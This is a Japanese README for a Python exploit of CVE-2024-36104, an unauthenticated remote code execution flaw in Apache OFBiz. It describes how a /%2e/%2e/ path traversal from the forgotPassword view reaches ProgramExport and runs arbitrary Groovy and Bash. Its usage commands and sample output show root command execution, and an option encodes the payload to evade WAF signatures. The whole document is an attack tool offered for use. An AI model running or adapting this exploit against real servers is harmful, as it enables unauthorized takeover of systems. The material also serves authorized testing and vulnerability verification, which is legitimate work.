
CVE-2024-36104 の PoC — Apache OFBiz (<18.12.14) における /%2e/%2e/ ビューパストラバーサルを介した ProgramExport への未認証 Groovy RCE
CVE-2024-36104 の概念実証(PoC)です。これは、Apache OFBiz 18.12.14 より前のバージョンにおける、認証不要のリモートコード実行(RCE)の脆弱性です。
OFBiz の ControlServlet は、リクエストパスを正規化する前に、認証不要のビュー(forgotPassword)を解決します。/%2e/%2e/ を追加するとパスが /webtools/control/ に折り返されるため、元のビューに紐づくセキュリティ/権限チェックを一切通過せずに ProgramExport ビューへ到達します。そして ProgramExport が任意の Groovy コードを実行するため、認証なしでリモートコマンド実行が可能になります。
このスクリプトは、コマンドを /usr/bin/bash -lc で実行する Groovy スニペットに包み、脆弱なエンドポイントに送信し、OFBiz が HTML レスポンス内で投げ返す java.lang.Exception から出力を抽出します。
forgotPassword から ProgramExport への /%2e/%2e/ トラバーサルパスを構築します。groovyProgram として脆弱なエンドポイントに送信します。Python 3.8+
pip install -r requirements.txt
必要な Python パッケージ:
requests
urllib3
山括弧(< と >)で囲まれた値はプレースホルダーです。ご自身の値に置き換え、< や > の文字は含めないでください。
python3 cve_2024_36104.py \
--target <TARGET_URL> \
--command <COMMAND>
<TARGET_URL> # Target base URL. Example: https://10.129.231.23
<COMMAND> # Command that Bash will interpret. Example: id
python3 cve_2024_36104.py \
--target https://10.129.231.23 \
--command "id"
出力例:
[2026-05-17T18:20:10Z] [*] Target: https://10.129.231.23/webtools/control/forgotPassword/%2e/%2e/ProgramExport
[2026-05-17T18:20:10Z] [*] Host header sent: localhost
[2026-05-17T18:20:10Z] [*] Command: id
[2026-05-17T18:20:11Z] [*] HTTP status: 200
[2026-05-17T18:20:11Z] [*] Response size: 4213 bytes
[+] Output of: id
uid=0(root) gid=0(root) groups=0(root)
-H, --host-header <HOST>
Value of the Host header. Default: localhost
--prefix-view <VIEW>
Unauthenticated view used before the /%2e/%2e/ traversal. Default: forgotPassword
--target-view <VIEW>
View reached after the traversal. Default: ProgramExport
--endpoint <PATH>
Full custom endpoint path, overrides --prefix-view/--target-view.
--timeout <SECONDS>
Maximum HTTP request time. Default: 15
--obfuscate
Send groovyProgram as \uXXXX escapes instead of plaintext, matching the
encoding used in public write-ups to dodge naive WAF signatures.
--show-payload
Print the generated Groovy code before sending it.
--show-response
Print the full HTML response.
--only-final
Hide progress logs and print only the command output.
--no-color
Disable ANSI colors.
--debug
Enable extra diagnostic logging.
502 を返した場合、プロキシのタイムアウト前にバックエンドが処理を完了できなかった可能性があります。その場合でも、コマンドはサーバー側で実行完了していることがあります。--show-response を使用して生の HTML を確認してください。この PoC は、認可されたセキュリティテスト、ラボ環境、および脆弱性検証を目的としています。 明示的な許可なくシステムに対して使用しないでください。